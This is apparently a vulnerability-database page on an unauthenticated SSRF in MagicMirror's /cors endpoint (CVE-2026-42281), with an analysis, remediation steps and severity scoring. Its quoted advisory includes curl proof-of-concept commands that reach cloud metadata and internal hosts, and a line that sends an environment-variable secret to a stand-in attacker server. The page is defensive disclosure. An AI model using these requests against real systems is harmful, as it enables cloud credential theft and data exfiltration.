Skip to main content

MagicMirror EUVDEUVD-2026-30313

| CVE-2026-42281 CRITICAL
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-05 https://github.com/MagicMirrorOrg/MagicMirror GHSA-ph6f-2cvq-79hq
9.2
CVSS 4.0 · Vendor: https://github.com/MagicMirrorOrg/MagicMirror
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Network access to port 8080
  2. Delivery
    Send GET /cors?url=http://169.254.169.254/latest/meta-data/
  3. Exploit
    Server fetches cloud metadata
  4. Execution
    Retrieve IAM credentials from response
  5. Persist
    Authenticate to AWS API with stolen credentials
  6. Impact
    Exfiltrate S3 data or launch malicious instances

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions-remote unauthenticated exploitation against default configurations of MagicMirror ≤2.35.0. The /cors endpoint is enabled by default in all vulnerable versions with no authentication, IP whitelisting, or URL validation. Any network client that can establish an HTTP connection to the MagicMirror server (default port 8080) can exploit this vulnerability by sending a single GET request. Attack success for cloud metadata theft requires: (1) the MagicMirror instance is hosted on a cloud VM (AWS EC2, GCP Compute Engine, Azure VM), and (2) the cloud provider's metadata service is accessible via IMDSv1 (link-local address 169.254.169.254). AWS instances created before 2019 or with IMDSv2 not enforced, and most GCP/Azure instances, meet this condition. Secret exfiltration requires the target process to have secrets stored in environment variables (common in Docker, systemd, and pm2 deployments). Internal network scanning and localhost service access require no additional conditions-the server's network position determines what can be reached. User interaction is not required. Limiting factors: the vulnerability requires network reachability to port 8080, so instances behind NAT, with strict ingress firewall rules, or bound only to localhost (127.0.0.1) are not remotely exploitable. However, MagicMirror's default configuration binds to all interfaces (0.0.0.0), making LAN and internet exposure common.

Impact

Real-world risk is HIGH for cloud-hosted and LAN-exposed deployments, despite absence of CVSS score or EPSS data. Critical risk factors: (1) No authentication required-any network client can exploit this; (2) PoC is trivial (single curl command) and publicly documented in the vendor advisory; (3) Cloud metadata access (AWS IMDSv1, GCP, Azure) can yield IAM credentials leading to full account compromise; (4) Environment variable exfiltration directly exposes hardcoded secrets in many Docker/systemd deployments. Mitigating factors: (1) MagicMirror is typically a niche smart-mirror application, not widely deployed in enterprise or internet-facing contexts; (2) Default port 8080 is often firewalled or NAT'd in home networks; (3) Modern cloud instances enforce IMDSv2 by default (AWS since 2019), blocking the metadata PoC. However, the combination of unauthenticated network access, trivial exploitation (AC:L equivalent), and high technical impact (cloud credential theft, secret exfiltration) makes this a priority for any MagicMirror instance reachable beyond localhost. The vendor treated this seriously enough to break the quarterly release cycle and change the default configuration (CORS proxy now opt-in). Automated exploitation is feasible-attackers could scan for port 8080, fingerprint MagicMirror via HTTP headers, and immediately test the /cors endpoint. No evidence of active exploitation (not in CISA KEV), but the attack surface is well-defined and the barrier to weaponization is minimal.

Exploit ScenarioDerived

An attacker on the same LAN as a home MagicMirror deployment (or scanning the internet for exposed port 8080 instances) sends a crafted HTTP request to exfiltrate AWS credentials. They first probe http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ to list available IAM roles, then retrieve temporary credentials via http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>. Using these credentials, the attacker calls AWS APIs to escalate privileges, launch instances, or exfiltrate data from S3 buckets associated with the victim's cloud account. Alternatively, the attacker exfiltrates API keys by requesting http://<target>:8080/cors?url=http://attacker.com/?key=WEATHER_API_KEY, causing the server to send http://attacker.com/?key=<actual_api_key_value> where the attacker logs the query parameter.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.8% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 05, 2026

Unauthenticated SSRF in MagicMirror ≤2.35.0 allows remote attackers to proxy arbitrary HTTP requests through the server, accessing cloud metadata services (AWS/GCP/Azure IMDSv1), internal network resources, and localhost services via the unrestricted /cors endpoint. The vulnerability is compounded by environment variable expansion: attackers can exfiltrate server-side secrets (API keys, database credentials) by embedding placeholders like SECRET_API_KEY in URLs, which the server resolves from process.env before making the request. Vendor-released patch version 2.36.0 disables the CORS proxy by default and implements IP blocklisting when enabled. Publicly available exploit code exists (PoC provided in GitHub advisory GHSA-ph6f-2cvq-79hq). No active exploitation confirmed at time of analysis.

RemediationAI

Upgrade immediately to MagicMirror version 2.36.0 or later (released via https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.36.0), which disables the CORS proxy by default and implements IP blocklisting and DNS rebinding protections when explicitly re-enabled. The fix requires Node.js ≥22.21.1 or ≥24. If upgrading is not immediately possible, apply these compensating controls: (1) Restrict network access to the MagicMirror HTTP port (default 8080) to localhost only via firewall rules (iptables -A INPUT -p tcp --dport 8080 ! -s 127.0.0.1 -j DROP on Linux, or equivalent host firewall). This prevents remote exploitation but breaks legitimate remote access-acceptable for local-only deployments. (2) Deploy a reverse proxy (nginx, Apache, Caddy) with mandatory authentication in front of MagicMirror and block the /cors path entirely (location /cors { return 403; }). This allows authenticated remote access while neutralizing the vulnerable endpoint, but requires additional infrastructure. (3) Remove environment variables containing secrets from the MagicMirror process environment-store credentials in files with restricted permissions or use a secrets manager, then modify module configurations to read from files instead of environment variables. This mitigates secret exfiltration but does not address SSRF. None of these workarounds are complete substitutes for patching; upgrade to 2.36.0 is the only full remediation.

Affected VersionsENISA

MagicMirror < 2.36.0

Affected Packages

npm magicmirror fix: 2.36.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a Server-Side Request Forgery (CWE-918) vulnerability in MagicMirror's Node.js/Express-based HTTP server. The vulnerable /cors endpoint in js/server_functions.js was designed as a CORS bypass proxy for frontend modules to fetch external resources, but lacked authentication, URL validation, or IP range restrictions. Any HTTP GET request to /cors?url=<target> triggers a server-side fetch() call with the attacker-controlled URL. Before the fetch, the replaceSecretPlaceholder() function performs template expansion, replacing patterns like VAR_NAME with process.env.VAR_NAME. This dual vulnerability enables both classic SSRF attacks (accessing 169.254.169.254 for cloud metadata, 127.0.0.1 for localhost services, RFC1918 private networks) and direct credential exfiltration via DNS exfiltration or query parameter injection. The npm package magicmirror (CPE: pkg:npm/magicmirror) versions ≤2.35.0 are affected. MagicMirror is typically deployed on Raspberry Pi devices or home servers, often on trusted LANs, but the default configuration exposes port 8080 without authentication, making any network-reachable instance exploitable.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/MagicMirrorOrg/MagicMirror) PRIMARY 9.2 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Primary rating from Vendor (https://github.com/MagicMirrorOrg/MagicMirror) · only source for this CVE.

CVSS VectorVendor: https://github.com/MagicMirrorOrg/MagicMirror

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
May 14, 2026 - 16:22 NVD
9.2 (CRITICAL)

DescriptionCVE.org

Summary

An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (VAR_NAME), enabling exfiltration of server-side secrets.

Details

The /cors endpoint in js/server_functions.js (function cors(), lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via fetch() and the full response is returned to the caller.

Additionally, the replaceSecretPlaceholder() function (lines 21-25) expands any VARIABLE_NAME pattern in the URL with the corresponding process.env value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).

Vulnerable code path:

GET /cors?url=<attacker-controlled-url>
  → replaceSecretPlaceholder(url)     // expands **ENV_VAR** → process.env.ENV_VAR
  → fetch(url)                        // no validation, no blocklist
  → response returned to attacker     // full body, status, headers

Key issues:

  • No authentication required
  • No URL validation or blocklist for private/reserved IP ranges
  • No restriction on URL scheme or destination
  • Environment variable expansion in URL before fetch

PoC

Prerequisites: a running MagicMirror² instance accessible on the network (default: http://<host>:8080).

1. Basic SSRF - access cloud metadata (AWS IMDSv1):

curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/"

If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.

2. Internal network scanning:

curl "http://<target>:8080/cors?url=http://192.168.1.1/"
curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/"

The attacker can probe internal services by observing response status codes and timing.

3. Environment variable exfiltration:

curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**"

The server expands SECRET_API_KEY to the value of process.env.SECRET_API_KEY before making the request, sending the secret to the attacker-controlled server as a query parameter.

Impact

  • Cloud deployments (AWS/GCP/Azure): full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account
  • Internal network access: the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker
  • Secret exfiltration: environment variables containing API keys, database credentials, or other sensitive configuration are directly readable
  • Affected users: anyone running MagicMirror² exposed to an untrusted network (including LAN). The /cors endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability

Executive ViewAI

Why It Matters

MagicMirror versions 2.35.0 and earlier contain an unauthenticated Server-Side Request Forgery (SSRF) vulnerability that allows attackers to intercept internal network traffic, access cloud metadata services, and exfiltrate sensitive credentials stored as environment variables. Organizations running MagicMirror in production face immediate risk of data breach and lateral movement into internal infrastructure, particularly if the application has network access to AWS/GCP/Azure metadata endpoints or internal services.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable or remove the /cors endpoint at the reverse proxy or application level; (2) Implement strict network egress filtering to block access to 169.254.169.254/32 (AWS), metadata.google.internal (GCP), 169.254.170.2/32 (Azure), and all internal network ranges; (3) Apply Web Application Firewall rules to block requests containing environment variable patterns (e.g., URLs with ** delimiters); (4) Run MagicMirror in a network-isolated container with no access to sensitive metadata services; (5) Rotate all secrets and API keys stored in environment variables immediately. Note: Vendor-released patch version 2.36.0 is available-upgrade is strongly preferred over compensating controls.

Threat Intelligence Overview

EPSS Score
0.8%
Top 26% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.8%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

67
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy